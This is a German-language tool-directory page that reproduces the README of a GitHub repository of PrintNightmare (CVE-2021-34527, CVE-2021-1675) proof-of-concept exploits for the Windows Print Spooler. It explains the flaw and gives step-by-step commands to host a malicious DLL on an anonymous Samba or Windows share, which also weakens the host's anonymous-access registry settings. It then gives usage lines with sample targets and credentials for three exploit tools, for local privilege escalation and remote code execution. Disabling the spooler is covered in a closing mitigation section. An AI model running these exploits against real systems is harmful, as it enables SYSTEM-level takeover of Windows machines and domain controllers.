Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PrintNightmare-CVE-2021-34527 — PrintNightmare - Windows Print Spooler RCE/LPE-Sicherheitslücke (CVE-2021-34527, CVE-2021-1675) Proof-of-Concept-Exploits | Kitploit
Tools/GitHubGitHub/nemo-wq/printnightmare-cve-2021-34527
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubnemo-wq/printnightmare-cve-2021-34527

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PrintNightmare-CVE-2021-34527

PrintNightmare - Windows Print Spooler RCE/LPE-Sicherheitslücke (CVE-2021-34527, CVE-2021-1675) Proof-of-Concept-Exploits

Repository anzeigen
1754125vor 4 JahrenVon Kitploit geprüft

PrintNightmare – Windows Print Spooler RCE/LPE-Schwachstelle (CVE-2021-34527, CVE-2021-1675)

Zusammenfassung

Hierbei handelt es sich um eine Remote-Codeausführungsschwachstelle, die von einem authentifizierten Remote-Benutzer genutzt werden kann, um auf Windows-Rechnern, auf denen der Druckwarteschlangendienst ausgeführt wird, SYSTEM-Rechte zu erlangen. Ein Angreifer könnte diesen Zugriff dann nutzen, um neue Konten anzulegen, Programme zu installieren, Daten anzusehen, zu ändern oder zu löschen oder neue Konten mit vollständigen Benutzerrechten anzulegen.

Diese Schwachstelle ist auf einen Fehler bei der Autorisierungsumgehung im Druckwarteschlangendienst spoolsv.exe auf Windows-Systemen zurückzuführen, der es authentifizierten Remote-Benutzern erlaubt, Druckertreiber über den RPC-Aufruf RpcAddPrinterDriver zu installieren und dabei eine Treiberdatei anzugeben, die sich an einem entfernten Speicherort befindet. Ein böswilliger Benutzer, der dies ausnutzt, kann SYSTEM-Rechte auf einem Windows-System erlangen, auf dem dieser Dienst ausgeführt wird, indem er im Rahmen der Installation eines Druckertreibers bösartige DLLs injiziert.

Microsoft hat zwar ein Update für CVE-2021-1675 veröffentlicht, dieses Update schützt jedoch weder Active-Directory-Domänencontroller noch Windows-Systeme, bei denen Punkt und Druck mit der Option NoWarningNoElevationOnInstall konfiguriert ist.

In diesem Repository gibt es drei PoC-Exploit-Implementierungen:

  • CVE-2021-34527-Python-Skript von cube0x0
  • SharpPrintNightmare von cube0x0
  • EXP von afwu (Printnightmare)

Technische Details

Betroffene Systeme

  • Alle Windows-Versionen enthalten den anfälligen Code und sind mit Stand vom 4. Juli 2021 anfällig. Die Exploits wurden auf Windows 2019 Server und Windows 10 Pro getestet.

Proof-of-Concept-Exploits

Da der RPC-Dienst es dem Client-Rechner erlaubt, einen Speicherort anzugeben, von dem der entfernte Server die Druckertreiber herunterlädt, können die folgenden Beispieloptionen verwendet werden, um die Payload zu hosten und den Pfad beim Ausführen des Exploits anzugeben:

Samba-Freigabe einrichten

  • Unix/Linux:

    Um den Gastzugriff in Samba einzurichten, müssen Sie einen Benutzer anlegen, mit dem sich der Dienst anmeldet. Stellen Sie sicher, dass im System ein Benutzer smbuser existiert, andernfalls legen Sie einen mit dem Passwort password an.

    root@kitploit:~
    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    Bearbeiten Sie die Datei /etc/samba/smb.conf und aktivieren Sie den anonymen Zugriff.

    root@kitploit:~
    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    root@kitploit:~
    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

Die folgenden Anweisungen sind leicht aktualisierte Versionen der Anweisungen von cube0x0:

CVE-2021-34527-Python-Skript

Dies ist die Impacket-Implementierung des Printnightmare-Exploits von cube0x0. Bevor Sie den Exploit ausführen, müssen Sie eine modifizierte Version von Impacket installieren:

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Verwendung des Exploits:

Der Exploit-Code für diese Schwachstelle muss mit Python 3 ausgeführt werden.

root@kitploit:~
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SharpPrintNightmare

Das Verzeichnis SharpPrintNightmare/ enthält die C#-Implementierung des Printnightmare-Exploits, sowohl für die lokale Privilegienausweitung (Local Privilege Escalation, LPE) (CVE-2021-1675) als auch für die Remote-Codeausführung (Remote Code Execution, RCE). Die RCE-Funktionalität erfordert die Ausführung mit lokalen Administratorrechten auf dem Rechner, auf dem der Exploit ausgeführt wird.

Verwendung des Exploits:

root@kitploit:~
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password

EXP/ Verwendungsanweisungen von afwu

Verwendung des Exploits:

root@kitploit:~
.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##

Schadensbegrenzung/Workarounds

Feststellen, ob der Druckwarteschlangendienst ausgeführt wird

Führen Sie Folgendes aus:

root@kitploit:~
Get-Service -Name Spooler

Wenn die Druckwarteschlange ausgeführt wird oder der Dienst nicht deaktiviert ist, wählen Sie eine der folgenden Optionen, um den Druckwarteschlangendienst zu deaktivieren oder eingehendes Remote-Drucken über Gruppenrichtlinien zu deaktivieren:

Option 1 – Deaktivieren des Druckwarteschlangendienstes

Wenn das Deaktivieren des Druckwarteschlangendienstes für Ihr Unternehmen geeignet ist, verwenden Sie die folgenden PowerShell-Befehle (Empfehlung von Microsoft):

root@kitploit:~
Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

oder deaktivieren Sie den Spooler-Dienst über die Registrierung

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

oder deinstallieren Sie die Druckdienste

root@kitploit:~
Uninstall-WindowsFeature Print-Services

Dadurch wird sowohl das lokale als auch das Remote-Drucken deaktiviert.

Option 2 – Deaktivieren des eingehenden Remote-Druckens über Gruppenrichtlinien

Sie können die Einstellungen auch wie folgt über Gruppenrichtlinien konfigurieren:

root@kitploit:~
Computer Configuration / Administrative Templates / Printers

Deaktivieren Sie die Richtlinie „Allow Print Spooler to accept client connections:" („Druckwarteschlange das Akzeptieren von Clientverbindungen erlauben"), um Remote-Angriffe zu blockieren.

Diese Richtlinie blockiert den Remote-Angriffsvektor, indem sie eingehende Remote-Druckvorgänge verhindert. Das System funktioniert dann nicht mehr als Druckserver, aber das lokale Drucken auf ein direkt angeschlossenes Gerät ist weiterhin möglich.

Weitere Informationen finden Sie unter: Verwenden Sie Gruppenrichtlinieneinstellungen zum Steuern von Druckern.

Danksagungen

  • Laut dem MSRC-Sicherheitsbulletin wurde diese Schwachstelle von Zhipeng Huo, Piotr Madej und Zhang Yunhai gemeldet.
  • cube0x0
  • afwu
Tool herunterladen